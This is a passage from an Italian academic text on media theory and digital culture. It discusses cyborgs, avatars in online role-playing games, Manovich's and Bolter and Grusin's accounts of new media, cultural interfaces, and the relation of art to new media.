Per Donna Haraway la metafora del cyborg permette di 

riconsiderare il corpo per renderlo un agente di conoscenza, non più 

soltanto oggetto di appropriazione del desiderio e dei discorsi 

maschili. Proprio grazie alla parzialità delle diverse collocazioni, il 

sapere diventa oggettivo, ma limitato. Non c’è quindi la pretesa di un 

oggettivismo totalizzante - la visione da ogni luogo - né un 

relativismo statico - una non visione - piuttosto una relatività dei 

punti di vista, che legati ad altri, procede per moltiplicazione. Il 

sapere non si affida né a visioni totalizzanti né al totale relativismo, 

ma al posizionamento mobile tipico del cyborg.  

“Solo occhi e corpi incarnati, cioè “situati” e che cambiano 
continuamente posizione e connessioni, permettono il processo di 
conoscenza” (Camaiti 1996: 43) 
Con lo sviluppo delle reti telematiche credo si deve superare 

quella soglia che porta alla considerazione del corpo come semplice 

metafora, anche se vista come importante risorsa strategica. Oggi la 
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nozione di corpo si arricchisce grazie alla proliferazione di agenti 

digitali proto-corporei nelle Reti telematiche. Il corpo viene 

digitalizzato, convertito in infinite sequenze di 0 e 1, “disseminato”. 

Questo processo morfizza i self dando la possibilità agli utenti di 

giocare ludicamente con le loro forme auto-rappresentate e il loro 

senso d’identità. Il corpo, in una transustanziazione di senso 

contrario, si trasforma definitivamente in informazione, quindi in 

comunicazione. Entra così in crisi ciò che lega l’identità alla 

sensazione ‘naturale’ di abitare un organismo biologico.  Utilizzando 

il concetto di “sex appeal dell’inorganico”, coniato da Walter 

Benjamin in merito alla moda e reso metafora produttiva da Mario 

Perniola, si può traghettare il cyborg, troppo legato ad un’essenza 

vitalistica e troppo impegnato a combattere dualismi oltre i quali il 

pensiero si è già avventurato, nella sua nuova rappresentazione post-

moderna: l’Avatar. Il concetto di sex appeal dell’inorganico conduce 

alla considerazione di un corpo multidimensionale e privo di 

dimensioni gerarchiche. La sessualità tra i corpi è neutra, un erotismo 

lontano da finalità orgasmiche, in cui l’eccitazione è continua e 

orizzontale. 

“Il corpo di cui ha esperienza la sessualità neutra non è macchina, 
ma veste, cosa. Esso è fatto di moltissimi tipi di tessuto sovrapposti 
e intersecati tra loro.” (Perniola, 1994: 13) 
Ancora: quando Perniola parla di una comunicazione tra corpi 

come tra “vesti estranee” e di  

“un’eccitazione speculativa che non si stanca di percorrerlo, (il 
corpo N.d.A.) di penetrarlo, di indossarlo, che entra si insinua, si 
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conficca in noi aprendoci verso una completa esteriorità nella quale 
tutto è superficie, pelle e stoffa” (1994: 16)  
mi si apre lampante il paragone con la trasfigurazione dei corpi 

nei territori  digitali, in cui tutto può essere codificato, quindi tutto è 

di fatto un vestito. PixelDress. Ogni costrutto di dati si serve delle 

interfacce per vestirsi, così come ogni corpo rappresentato. Nel 

cyberspazio non c’è spazio per la nudità, non esiste o per lo meno è 

illeggibile, così come non esiste un sentirsi autentici o naturali. Come 

dice Michael Heim l’ontologia del cyberspazio è profondamente 

erotica: MATRIX deriva dal latino “mater”, cioè madre, origine erotica 

della vita.  

E’ il regno del superfluo e dell’effimero, delle codificazioni 

giocose o perturbanti, delle appartenenze slogate dai territori fisici. Il 

sentire viene provocato da stimoli prima considerati inadeguati o 

perversi, come gli oggetti e i numeri, o da sollecitazioni che 

semplicemente non sono mai entrate in nessuna classificazione, come 

le architetture grafiche pluridimensionali o gli ipertesti x-sterminati.  

“Come ambiente di un ipertesto sensoriale, il ciberspazio dà la 
sensazione di essere trasportati attraverso un mezzo senza attrito e 
senza tempo. Non vi è salto perché ogni cosa esiste, almeno 
implicitamente, in uno stesso tempo” (Heim, 1991: 76-77) 
L’esperienza dei nuovi corpi si libera delle catene spazio 

temporali per fruire gli infiniti spazi delle infinite interconnessioni. Il 

tempo collassa nel Real-time: 

“il passaggio da un orizzonte di scarsità, di precarietà e rarità 
dell’esperienza, legato all’inesorabile scorrere del tempo, a un 
orizzonte di disponibilità, di fruibilità immediata, aperto dalla 
possibilità di accedere senza attese ad un’offerta spaziale sempre 
virtualmente presente” (1994: 116) 
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Nel cyberspazio molti dei concetti che l’Occidente ha fatto 

confluire nel termine “identità”, come l’opposizione interno/esterno, 

la divisione maschio/femmina, l’inviolabilità del corpo biologico, 

l’appartenenza legata al territorio, non risultano più produttivi. Già 

al primo ingresso nel cyberspazio si mette in discussione la prima 

marca che caratterizza l’identità: il nome anagrafico. Si può accedere 

alla Rete, e la maggior parte degli utenti lo fa, scegliendo un altro 

nome, più propriamente un nickname. In ogni caso molte delle 

pratiche nella Rete permettono l’azione nell’anonimato. Sono le 

condizioni delle esperienze possibili ad essere mutate in modo tale 

che i nostri schemi cognitivi non riescono ad applicarsi alle nuove 

situazioni.  

”Perché stiamo tutti mutando, come individui e come specie”. 
(Caronia, 1996: 160) 
Il cyborg, al di là di alcuni esempi di biomedicina applicata o di 

esperimenti di body-art, è stata sia un’ottima metafora letteraria sia 

un’efficace “risorsa strategica” per un inquadramento della 

mutazione dell’essere umano a contatto con le tecnologie e con la 

post-modernità. Oggi si richiede un salto di paradigma. Le tecnologie 

si sono moltiplicate e proliferano in un numero sempre maggiore di 

ambienti. Il numero di persone a contatto con computer o devices 

tecnologici aumenta esponenzialmente di mese in mese. 

L’alfabetizzazione minima richiesta oggi nei paesi occidentali non 

può prescindere dall’uso di terminali video-elettronici o programmi 

di videoscrittura. Le esperienze dell’essere umano post-moderno con 
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le tecnologie si fanno più frequenti e intime. Il lavoro è online, il 

tempo libero è online, l’amicizia è online, il sesso è online. La nuova 

metafora per tentare di comprendere le relazioni tra uomo, identità e 

tecnologia è diventata l’Avatar.  

AVATARA deriva dal Sanscrito: ava-‘giù’, tarati-‘egli va, passa 

al di là’. Il concetto è descritto in “Bhagavad gita” (Il canto del Beato), 

4°insegnamento, 1-8. Qui Krishna parla così:  

“quando la bontà si indebolisce, quando il male aumenta, Io faccio 
di me un corpo”.  
In origine l’Avatara è quindi un’incarnazione di una divinità 

Hindu sulla Terra. Oggi per Avatar si intende la possibile forma 

grafica, costrutto di dati, agente informatico, che rappresenta l’utente 

fisico negli innumerevoli mondi a due o tre dimensioni delle galassie 

informatiche. Se l’Avatara resta ancora intrappolato in una visione 

dualistica in cui esiste un corpo ed uno spirito, l’Avatar che prendo in 

considerazione è oltre le categorie oppositive, oltre la contingenza di 

spazi e tempi riconoscibili. Mentre il cyborg, nonostante il ricambio 

di pezzi, siano essi meccanici, biologici o informatici, mantiene una 

salda identità corporea e si muove in un unico ambiente, l’Avatar si 

sposta orizzontalmente connettendosi ad ambienti multipli interattivi 

e digitali. 

 “Il cyborg lottava ancora contro i dualismi: Avatar si muove, 
scorre, si veste dopo.” (Canevacci, Avatar n°2: 9)  
 
Superate le trappole dei dualismi oggi la scommessa è perdersi 

nei multi-ismi, nelle infinite categorie mobili e parziali con cui 
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affrontare le nuove derive dell’identità del cyberspazio.  

L’Avatar nasce da una divisione, è l’emanazione dell’utente che 

lascia trasmigrare un agente semiotico in un mondo digitale in cui 

poter agire. L’agente semiotico si carica dei desideri e degli 

investimenti emozionali dell’utente fisico. L’Avatar digitale soggiace 

ai codici di programmazione dell’ambiente in cui è immerso ed è esso 

stesso un codice. È una rappresentazione visuale, uno strumento 

virtuale o una protesi digitale di un utente-referente. Il cursore, o la 

freccetta diretta dal mouse, sono le prime Avatar-esperienze. Queste 

prime forme, con cui si accede all’ambiente costituito dall’interfaccia 

del computer, sono uguali per ogni utente. La vera esperienza 

radicale si ha invece quando si può scegliere la veste digitale più 

soddisfacente in un determinato momento. A partire dal nickname di 

una comune stanza di chat testuale, fino ad arrivare ai personaggi 

grafici antropomorfi dei MMORPG (Massive Multiplayer Online Role 

Playing Game), si moltiplicano i corpi digitali di cui avere esperienza 

nei territori telematici. E’ proprio nei giochi di ruolo online che si 

verificano le esperienze più radicali di utilizzo e dismissione di un 

avatar. I giochi di ruolo online sono videogames giocabili in Rete da 

più utenti dislocati geograficamente sul globo terrestre. Gli ambienti 

giocabili sono lande digitali che diventano sempre più x-sterminate. I 

giocatori socializzano, conducono battaglie, costruiscono essi stessi 

ambienti digitali, conducono una vita abitando interattivamente gli 

immaginari che hanno creato per loro i programmatori dei giochi. 
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I am selling my level 50
shadowblade on guinevere that
has by far way more people
than any other server. He is
speced full Zerker, he can kill
anyone, anything, small
groups, everything, hes got
full epic, with +14 to his specs
which are. 58 left ax 58 ax 52
stealth 50 envenom his realm
abilities include: danger sence
detect hidden climb walls see
hidden purge augmented dex
II mastery of pain II
augmented quickness II 

Annuncio di vendita di un Avatar su 
Ebay.com 

Dal regno di Camelot alle galassie di Star Wars le possibilità sono 

innumerevoli. 

 Alcuni giocatori incalliti 

utilizzano una forma, un 

personaggio, lo fanno crescere 

(crescono essi stessi?!) e progredire 

fino a quando non decidono di 

dismetterlo. A questo punto il 

personaggio potrà essere 

abbandonato, suicidato, dimenticato 

o affidato/venduto ad un altro 

utente. Quest’ultimo diventerà propriamente ‘quel personaggio’, 

quella forma, quel costrutto di dati e starà a lui decidere di vivere in 

linea di continuità col passato piuttosto che dare svolte repentine alla 

sua vita. L’Io coerente , anche se all’interno di un gioco, viene messo 

in discussione anche dalla compra-vendita di avatar sulle aste online.  

L’esperienza identitaria è automaticamente plurale, diversa ad 

ogni collegamento, e il senso del sé si modifica al ritorno nei limiti 

spazio temporali dei corpi fisici.  

“Chi naviga sul web è un avatar, proprio perché può incarnare tutti 
i sé parziali – aporetici e anomici – che desidera”. (13)  
 
"Accendo il computer, mi connetto, sono. E' come respirare. Ma 
condiviso con un milione un milione di altri. Muoio ancora ed 



 

 62

 
 
 
 
 

ancora, ed ogni volta mi ricreo. Con un multiplo di mutazioni 
incandescenti non si è mai soli".  (GashGirl)14 
 

I linguaggi dei nuovi media 

 

“L’accesso all’informazione 
non è più solo una forma 
essenziale di lavoro, ma 
anche una nuova ed 
essenziale categoria della 
cultura. Di conseguenza, è 
corretto affrontarla dai punti di 
vista teorico, estetico e 
simbolico.”  
Lev Manovich 

 

 

Tracciare una traiettoria netta che conduca ad una chiara 

sistematizzazione dei new media e dei loro linguaggi è un’impresa 

tanto ardua quanto inutile. Numerosi tentativi sono stati compiuti da 

filosofi, antropologi o mass-mediologi, ma ognuno non ha potuto che 

mettere in luce aspetti parziali. Come nelle ultime riflessioni nelle 

scienze umane, è attraverso la considerazione di punti di vista 

diversi, talvolta affiancando tesi opposte, che il sapere e la riflessione 

teorica possono guadagnare in fase produttiva.  

Nella mia analisi sui new media, e in particolar modo sulla 

convergenza di media diversi nella interconnettività globale del 

cyberspazio, ho scelto di far confluire le ipotesi di due testi 

fondamentali piuttosto recenti: “Remediation” di J.D.Bolter e 
                                            
14 http://www.thing.net/~dollyoko/censored/dollyoko.html (u.a. 5/6/2003) 
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R.Gruisin e “Il linguaggio dei nuovi media” di Lev Manovich. I primi 

legano l’evoluzione dei media, non solo quelli sviluppatisi 

nell’ultimo decennio, ad una logica, non oppositiva, di immediatezza e 

ipermediazione. Il secondo, collocando i new media sull’asse di 

continuità della cultura visuale e mediatica del novecento, non manca 

di mettere in rilevo le differenze tra nuovi e vecchi media 

sottolineando aspetti nuovi, messi poco in luce fino ad ora. 

SAMPLING E DIGITALIZZAZIONE 

“Sampling” è tradotto in Italiano con “campionamento” e 

rappresenta una procedura attraverso la quale si estrapola una parte 

da un tutto per un particolare utilizzo. In statistica il campione 

prelevato di solito è rappresentativo di un universo. Anche se il 

concetto di sampling è divenuto centrale in moltissimi campi della 

cultura contemporanea da almeno tre decenni, è soprattutto nel 

campo musicale che ha apportato un cambiamento radicale nei modi 

di composizione. L’estrapolazione di pezzi di brani altrui da 

ricontestualizzare è sfociata nella cultura del remix, così come in 

gran parte della musica elettronica a partire dagli  anni ’80. 

Manovich spiega che la digitalizzazione, la conversione di dati in 

numeri di codice binario,  deriva da un duplice processo. Il primo è 

proprio il sampling: un’estrazione da un continuum di parti ad 

intervalli regolari. Più di frequente avvengono i campionamenti 

maggiore sarà la qualità o la risoluzione. In un comune cd audio il 
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suono viene campionato 44.100 volte al secondo. Ad ogni campione 

viene poi assegnato un valore numerico: quantificazione. La 

differenza tra old media e new media sta proprio nella differenza tra 

analogico e digitale: il primo è detto di una grandezza che riproduce 

un fenomeno in maniera continua, il secondo riproduce grandezze 

utilizzando un sistema numerico binario, dove tutto viene 

trasformato in serie di 0 e 1. Negroponte in “Esseri digitali” afferma 

che nella nostra percezione c’è pochissima differenza tra analogico e 

digitale, visto che in quest’ultimo caso la riproduzione di entità 

discrete è così veloce che non se ne distingue la separatezza.  

“La materia è fatta di atomi. Se potessimo osservare ad una scala 
subatomica una superficie metallica estremamente levigata 
vedremmo soprattutto dei buchi. Ci appare liscia e compatta 
perché i singoli pezzi sono estremamente piccoli. Altrettanto 
avviene per un’immagine digitalizzata.” (Negroponte 1995: 5) 
 
Tutta la realtà è quindi analogica, o almeno così appare. Con un 

processo di zoom potremmo accorgerci delle discontinuità, ma il 

processo sarebbe utile solo ad alcuni artisti interessati ad un’estetica 

digitale o agli esperimenti di microbiologia.  

Il motivo della diffusione massiva del digitale, che si inquadra 

lungo l’asse di evoluzione dei media in generale, sta a detta di Lev 

Manovich, in un due movimenti convergenti: la possibilità di 

effettuare calcoli sempre sofisticati in modo sempre  più veloce ed 

efficace, da un lato, e la necessità di archiviare un sempre maggior 

numero di dati per un numero sempre maggiore di persone - 
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immagini, testi o suoni – da conservare o distribuire. 

“La sintesi di queste due vicende storiche è la traduzione di tutti 
media preesistenti in dati numerici accessibili tramite il computer” 
(Manovich 2001: 38)  
Ancora, secondo Manovich i nuovi media, pur inquadrandosi 

sulla linea di continuità della mutazione dei media nel novecento, 

sarebbero profondamente diversi per logica da quelli vecchi. Il salto 

dall’analogico al digitale si avrebbe nello spostamento da un modo 

di produzione industriale ad uno post-industriale di diverso tipo. La 

nascita della catena di montaggio nel 1913 creò sia la necessità di un 

lavoro frammentato in unità ripetitive e sequenziali, sia una 

standardizzazione dei componenti. I media moderni –vecchi -  

seguono la stessa logica: dai caratteri in tipografia, al livellamento di 

intensità e contrasto nel cinema, alla frequenza di campionamento 

dei suoni. I nuovi media invece  

“precedono una logica tipica della società post-industriale, quella 
della personalizzazione, che prende il posto della 
standardizzazione di massa” (50).  
Le caratteristiche degli ipermedia, per esempio, permettono il 

confezionamento di prodotti o contenuti ad hoc da veicolare 

direttamente ad un singolo consumatore in base alle sue preferenze o 

scelte. Non siamo lontani dal futuro immaginato in “Minority 

Report” di Steven Spielberg, in cui si entra in un negozio e 

immediatamente si animano display pubblicitari che chiamano per 

nome il cliente, riconoscendo l’iride dei suoi occhi, chiedendogli se 

sta tornando a comprare le sue scarpe preferite. Le ultime politiche di 
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marketing e comunicazione pubblicitaria tendono a rivolgersi 

direttamente ai singoli individui dando loro la sensazione di una 

maggiore libertà di scelta. In realtà si stanno sviluppando meccanismi 

efficacissimi di tracciamento delle scelte di consumo, con conseguenti 

sforamenti dei messaggi di comunicazione aziendale in quelle sfere 

private che dovrebbero essere protette dal diritto alla privacy.  A 

fronte di una tanto strombazzata maggiore libertà di scelta e 

personalizzazione, all’interno di modelli precostituiti, il voyeurismo 

affamato del marketing si insinua sempre più all’interno degli 

ambienti dei consumatori.  

Manovich individua ancora altre caratteristiche che 

distinguerebbero i nuovi dai vecchi media: 

Modularità: le strutture dei Nuovi Media sono composte da 

elementi diversi – caratteri, script, pixel, suoni, forme - che possono 

essere assemblati in costruzioni diverse, semplici o complesse, ma 

che mantengono le loro identità separate. In questo modo possono 

essere aggiunti, tolti o cambiati elementi senza che l’impalcatura 

generale ne risenta nel funzionamento. 

Automazione: molte operazioni di creazione, accesso o 

manipolazione mediale vengo svolte automaticamente dai software a 

vari livelli. La creatività intenzionale umana  viene a volte sostituita 

da semplici processi di selezione all’interno di una serie di scelte 

preesistenti.  

Variabilità: sinonimo di mutabile o liquido. Gli oggetti mediali 
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digitali rappresentano il passaggio dalla ‘riproducibilità tecnica’ alla 

producibilità elettronica. Essendo fondati su di un codice binario, la 

possibilità di copia viene superata dalla possibilità di produzione di 

versioni diverse dell’oggetto in real time.  

Transcodifica: il quinto principio è fondamentale perché mette 

in luce lo scambio che avviene continuamente tra culture umane, 

computerizzazione dei media e computerizzazione delle culture.  

Letteralmente ‘transcodificare’ vuol dire tradurre  un oggetto 

da un codice in un altro codice. Esistono due livelli di configurazione 

dei nuovi media: un livello ‘culturale’, che influenza già la 

produzione di nuovi contenuti mediali attraverso strutture narrative 

tradizionali di racconto piuttosto che con la creazione di spazi digitali 

cartesiani, e un livello ‘informatico’, che interviene con  

”sorting e matching, la funzione e la variabile, il linguaggio del 
computer e la struttura dei dati”. (69)  
Questo vuol dire che bisogna aspettarsi un’influenza reciproca 

(interazione) tra le rappresentazioni sociali e culturali all’interno delle 

reti e dei computer e le azioni delle reti e dei computer stessi sulle 

culture. Caratteristiche algoritmiche, nuove logiche, nuovi termini e 

nuove categorie sono fondamentali per una riflessione sulle 

esperienze umane mediate dal computer.  

“Dagli studi sui media ci stiamo muovendo verso qualcosa che 
potremmo chiamare ‘studi sul software” (71).  
Bolter e Gruisin invece fanno un discorso seguendo un piano 

un po’ diverso. Innanzi tutto liberano McLuhan dal “determinismo 

tecnologico” con cui è stato troppo facilmente criticato e liquidato, 
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facendo propria una sua intuizione: 

 “Il contenuto di un medium è sempre un altro medium.” (1967: 16). 
  Con questo si vuol dire che nella loro storia i media si sono 

modificati e sono mutati sulla base dei media precedenti, all’interno 

di un contesto mediale che li ha condizionati, riconfigurando pratiche 

e appropriandosi di “tecniche, forme e significati sociali di altri 

media”. Il mediascape prospettato da B. e G. è altamente competitivo 

e procede per modellizzazioni ibride e innovative, sulla base di 

vecchi schemi da far esplodere. I vecchi media, con l’avvento dei 

nuovi, reagiscono fisiologicamente con la mutazione e l’adattamento, 

per non scomparire. La remediation, meccanismo che non investe 

soltanto le caratteristiche tecniche dei mezzi di comunicazione di 

massa, arriva ad influenzare le stesse esperienze che con i media 

divengono possibili variando le dimensioni di percezione e 

rappresentazione sociale degli utenti. Sempre secondo B. e G. la 

remediation procederebbe secondo una logica contraddittoria, ma non 

oppositiva, di immediatezza e ipermediazione. La prima mette in 

evidenza la tendenza a negare il carattere mediato di ciò che un 

medium fa vedere, cercando una trasparenza delle superfici. 

Dall’invenzione della prospettiva lineare rinascimentale, attraverso 

certi modi di fare cinema e televisione, fino alle utopie iper-realiste 

della Realtà Virtuale, in tutto il corso della storia dei media c’è stata 

una tendenza a cancellare il ‘mezzo’ per tentare di fornire agli 

spettatori/utenti un’esperienza – si è detto -  più autentica. La 
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tecnologia viene vista come ‘artificio’ da occultare per non rovinare 

una presunta ‘naturalità’ dell’esperienza. La grafica computerizzata, 

nonostante le illimitate possibilità offerte dal digitale,  fa ancora largo 

ricorso alle tecniche algebriche di suddivisione dello spazio, tipiche 

delle visioni del disegno prospettico, mirando alla realizzazione di 

rappresentazioni foto-realistiche. Il manifesto del cinema Dogma15 è 

l’ultimo grido dei cineasti in favore di una trasparenza e di una verità 

invocata a gran voce. Il cinema Dogma, essendo cinema, è allo stesso 

modo costruito. La loro richiesta di un “voto di castità” al modo di 

fare cinema contro un’illusiva “cosmesi” dimostra, a parer mio, una 

chiara rinuncia, oltre che forse una malcelata paura,  ad accettare la 

sfida portata dalle nuove tecnologie.  

L’ipermediazione è invece una tendenza ad esaltare il mezzo di 

comunicazione utilizzato. Dal connubio tra televisione, cinema e 

tecnologie informatiche, fino ad arrivare ai moderni sistemi a finestre 

dei sistemi operativi dei nostri comuni computer, la commistione di 

forme mediatiche  attraverso l’ibridizzazione, ha generato nuovi tipi 

di esperienza, dissonanti rispetto alle precedenti esperienze 

considerate naturali. L’ipermediazione è già cifra costitutiva delle 

avanguardie storiche dell’inizio del secolo, del collage dadaista, della 

scomposizione cubista e della video arte. Oggi è la Net.Art ad 

assumerne l’eredità e ad aggiungere ulteriori livelli di 

moltiplicazione, dato il carattere delle opere che si fonda nella 

                                            
15 Manifesto del cinema Dogma - http://www.trax.it/dogma95.htm 
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partecipazione attiva degli utenti e dalla fruibilità possibile solo 

all’interno di network telematici. Grazie all’ipermediazione lo 

spettatore/utente è diventato in grado di guardare da diversi punti di 

vista. I livelli di osservazione, azione e linguaggio sono 

vertiginosamente proliferati.  

“Non c’è più bisogno di rendere la [tecnologia] trasparente, 
semplicemente perché non si pensa ad essa come in contraddizione 
con l’autenticità dell’esperienza” (Huhtamo cit. in Remediation:68)  
Non sono d’accordo con chi mette in correlazione la presunta 

trasparenza, che si avrebbe attraverso un particolare uso dei mezzi di 

comunicazione, con una maggiore immediatezza, rispetto agli usi più 

mediatizzati, che condurrebbero ad un’artificialità menzoniera. Per B. 

e G. l’ipermediazione fa rivolgere l’attenzione al mezzo stesso, alla 

sua ‘opacità’, al fatto che una determinata visione o conoscenza possa 

avvenire attraverso lo specifico mezzo che si sta utilizzando. La 

trasparenza invece darebbe all’utente la sensazione di un rapporto 

più diretto con gli oggetti o con la realtà rappresentata. Io credo che 

la realtà postmoderna sia già sufficientemente ipermediatizzata e che 

consenta di vivere un numero sempre maggiore di esperienze, prima 

impensabili. Autenticità non fa più rima con realismo, tanto meno 

con iper-realismo. Una sessione di chat non è un incontro 

tradizionale face to face, il più delle volte è basato sulla scrittura 

alfabetica, ma si svolge ugualmente in uno spazio della mente, in una 

dimensione di investimenti immaginari ed emozionali: è una 

situazione che produce effetti! Non siamo di fronte ad 
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un’opposizione tra ciò che è reale e ciò che non lo è, tra la veridicità e 

la virtualità, tra opacità e trasparenza. Piuttosto parlerei di 

translucenza, di superfici riflettenti e rifrattive, di augmented reality. 

L’Ipermediazione offre esperienze dense, perché oltre a svolgere le 

funzioni tradizionalmente svolte dai mezzi di comunicazione di 

massa, come informare, intrattenere o divertire, rende allo stesso 

tempo consapevoli del mezzo in sé, del mezzo come significante 

significativo. L’ipermediazione ha un carattere altamente liberatorio, 

al contrario la trasparenza limita le forme d’espressione al già 

conosciuto, già detto, già osservato. Mentre la trasparenza ri-produce, 

l’ipermediazione produce.  

INTERFACCIA CULTURALE 

Che si lavori sulla moltiplicazione dei media o sulla trasparenza 

della mediazione, il terreno di confluenza dei designer, architetti o 

studiosi delle nuove materie digitali, è sicuramente l’interfaccia. 

Concetto chiave per capire i media, soprattutto dopo l’avvento del 

digitale, e più propriamente detta HCI – human computer interface – 

l’interfaccia è  ciò che media tra il linguaggio delle macchine, il loro 

funzionamento e le azioni dell’utente. La data del 1984 è 

fondamentale, è l’anno in cui Macintosh esce sul mercato con dei 

computer che usano la metafora della ‘scrivania’ (desktop) e 

cambiano sensibilmente l’esperienza di fruizione dei computer. 

Vengono di fatto estese le possibilità di utilizzo anche a chi non può o 
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non sa addentrarsi nelle questioni di codice di programmazione. 

Attraverso l’ideazione di un contesto familiare, come quello di una 

comune scrivania da ufficio, l’interfaccia è diventata il luogo, da 

programmare e abitare, attraverso il quale il computer viene 

effettivamente reso operativo. Il mouse, lo schermo e la tastiera fanno 

già parte del concetto di interfaccia, ma io preferisco focalizzare 

l’attenzione su quelle interfacce-spazi digitali che permettono agli 

utenti di muoversi nel flusso delle informazioni, visualizzare dati, 

crearli e manipolarli . È proprio attraverso questi ambienti che le 

culture - con design, arte, principi di usabilità, narrative, metafore - 

interagiscono con il mondo algoritmico e matematico dei linguaggi di 

programmazione. Come dice Manovich: 

“In sostanza non ci stiamo più rapportando con un computer,  ma 
con una cultura codificata in forma digitale” (98) 
Manovich riprende in qualche modo il discorso di Bolter e 

Gruisin quando conia l’espressione interfaccia culturale. Con questo 

intende il luogo, le pratiche o le modalità, con cui il computer e 

l’uomo interagiscono attraverso metafore o dati culturali. Non si 

parla soltanto di siti web, cd-rom o Dvd, ma anche di videogiochi, di 

terminali elettronici disseminati nella città, di musei: tutte le forme 

culturali prodotte dai new media. Al momento attuale sono tre le 

grandi tradizioni che  hanno contribuito al linguaggio delle interfacce 

culturali: il cinema, la parola stampata e l’interfaccia uomo-computer. 

Ognuna di queste aree ha sviluppato nel corso del tempo delle 

strategie e delle metafore di presentazione dell’informazione. I nuovi 
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media sono oggi il loro luogo di confluenza, all’interno del quale si 

mescolano stili, tradizioni e sperimentazioni. Questo vuol dire che le 

nuove forme di presentazione dell’informazione dipendono in gran 

parte da un meccanismo di ‘rimediazione’, per usare il concetto di 

Bolter e Gruisin,  di forme mediali precedenti. La scrittura alfabetica 

testuale e la struttura ‘a pagina’, compresa la pagina di giornale,  

sono state le prime forme a determinare la configurazione dei 

computer e dei primi terminali. Oggi chiamiamo ‘pagina’ anche una 

schermata ipertestuale sul web, ma pur essendo stati superati i 

diversi limiti della forma cartacea, è stato grazie alla sua tradizionale 

forma che le nuove sperimentazioni si sono potute innestare.  

L’esplosione definitiva si è avuta con l’annullamento dei principi 

gerarchici di organizzazione dell’informazione, come poteva 

avvenire in un libro, attraverso l’hyperlinking. I dati non si leggono: 

ora si accede ai dati. 

 “Invece di sedurre l’utente attraverso un’abile organizzazione di 
argomenti ed esempi, di pro e contro, la modifica dei ritmi di 
presentazione (i.e. l’intensità con cui si fanno fluire i dati, o l’uso 
del linguaggio contemporaneo), falsi percorsi e la brillante 
presentazione di provocazioni concettuali, le interfacce culturali, 
come la stessa RAM, bombardano l’utente sparandogli addosso 
tutti i dati in un a sola volta” (107) 
Anche il cinema è diventato fondamentale nella fruizione di 

spazi digitali, soprattutto per quanto riguarda i movimenti nello 

spazio. Tutti gli spostamenti della cinepresa, fondamentali per una 

fruizione dell’informazione sempre più spazializzata, vengono 

incorporati nella progettazione da media designer e web architetti. I 
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primi prodotti a sfruttare le tecniche cinematografiche sono stati i 

videogames. La tradizionale forma rettangolare dell’immagine 

rappresentata viene superata oggi dagli ambienti immersivi di realtà 

virtuale in cui la telecamera si assimila al corpo dell’utente, capace 

ormai di muoversi in tre dimensioni, direttamente  all’interno dello 

spazio narrativo.  

“Il programmatore di un mondo virtuale è, dunque un regista 
cinematografico e un architetto” (113) 
L’interfaccia uomo computer è l’ultimo campo con cui i nuovi 

media sono stati progettati per veicolare informazione. Box di 

dialogo, menu gerarchici, finestre scorrevoli, comandi di input sono 

tutti elementi entrati a pieno titolo in una tradizione, ormai più che 

decennale, di fruizione dei computer a livello di massa. Le tre grandi 

aree che ho appena citato interagiscono tra loro, a volte in modo 

altamente competitivo, con un risultato di creazione di linguaggi - 

interfacce culturali – dai profili ibridi. La commistione di generi e 

tradizioni diverse ha trovato il luogo definitivo nella rete e negli 

ipermedia. Il cinema e la parola stampata sono due chiavi di lettura e 

di interpretazione dei nuovi media a cui io aggiungerei senza dubbio 

l’architettura. Grazie a questa si può riflettere sul carattere 

dirompente dei nuovi media, che li differenzia da quelli vecchi: il loro 

carattere di spazi vivibili e vissuti. Come ho già detto l’interfaccia 

viene creata sulla base della riproposizione di vecchi schemi – arte 

figurativa, fotografia, spazi cartesiani, inquadrature cinematografiche 

– e sul superamento dei confini considerati classici tra concetti e 
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Costant (C. Niewenhuys), New 
Babylon, 1960, schema distributivo 
urbano. 

categorie. Disegnare un’interfaccia è creare un mondo16. Non si è 

molto lontani dalle idee tradizionali dell’arte sull’immaginazione e la 

creazione, ma avverto la vertigine quando considero l’allargamento 

di prospettive che dà la progettazione di uno spazio multimediale 

che dovrà essere interattivamente abitato. Gli ambienti finalmente 

diventano sensibili, reattivi, non contengono soltanto il flusso cyber-

sociale, ma lo significano adattandosi alle pratiche, ai movimenti, ai 

dialoghi, ai sentimenti. Siamo all’incrocio di spazi immaginati, spazi 

disegnati e spazi vissuti, dove costruzione e comunicazione trovano 

una forma fluida, infinitamente modificabile. È la promessa finale 

della rottura dei limiti dell’architettura progettata sul territorio fisico. 

E’ la liberazione dell’architettura. E’ architettura liquida.   

“E’ un’architettura dell’interno, un sistema incompiuto delle 
strumentazioni collettive di intelligenza, una volteggiante città dai 
tetti di segni” (Lévy 1996: 222) 
 

“[Sarà uno]…schema a rete…[di 
spazi il cui ambiente può essere 
modificato da]…una consistente 
manipolazione di colore, luce, 
suono, clima, dall’uso dei più 
disparati tipi di apparati tecnici e 
dai meccanismi psicologici. La 

plasmabilità continua degli interni e 
l’interazione tra i vari ambienti si 
armonizzano con il libero gioco 

sperimentale della vita degli abitanti. La città determina lo svolgimento 
dinamicamente attivo e creativo della vita. Si può vagare a lungo 

                                            
16 Le interfacce, soglie grafiche di visualizzazione dei siti del cyberspazio raggiungibili attraverso 
uno schermo, sono la nuova sfida non solo dell’architettura, ma anche dell’arte, della sociologia e 
dell’antropologia. Sono poste in essere dall’ingegnere, dal progettista grafico e dall’utente 
insieme. Una riflessione critica non potrebbe essere che trans-disciplinare. 
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attraverso settori interconnessi, affrontando l’avventura offerta da questo 
labirinto senza fine.“ Constant Nieuwenhuis, La Nuova Babilonia, 1960 
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L’arte e i nuovi media           

 

 

"I believe that the artist doesn't 
know what he does. I attach even 
more importance to the spectator 
than to the artist. "  
 Marcel Duchamp 
 

 

 

 

 

 

                                                             

L’eterogeneo corpo delle arti ha sempre reagito all’irruzione di 

nuovi mezzi di comunicazione sperimentandone i linguaggi e 

riflettendo sugli effetti che questi avevano sugli immaginari. Il 

mediascape,  panorama mediale risultato delle interazioni,  

interconnessioni e flussi dei diversi media operanti in un determinato 

momento, si modifica in funzione delle mutazioni dell’arte e,  

viceversa, il panorama delle arti – artscape – dalle pratiche 

underground a quelle maggiormente istituzionalizzate, muta nel 

tempo influenzato dai media. È ormai impossibile, oltre che inutile, 

separare le forme artistiche dalle tecnologie che le pongono in essere. 

Una riflessione antropologica sui modi di comunicazione artistica, 

specialmente in quest’epoca in cui si profilano nuove forme di 
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percezione e configurazioni ibride di mezzi comunicativi, deve 

evitare di basarsi semplicemente sulle analisi di contenuto – 

significati – delle opere che decide di analizzare. L’ormai famosissima 

affermazione di McLuhan, “il mezzo è il messaggio”, è quanto mai 

attuale: è impossibile considerare una separazione tra creatività e 

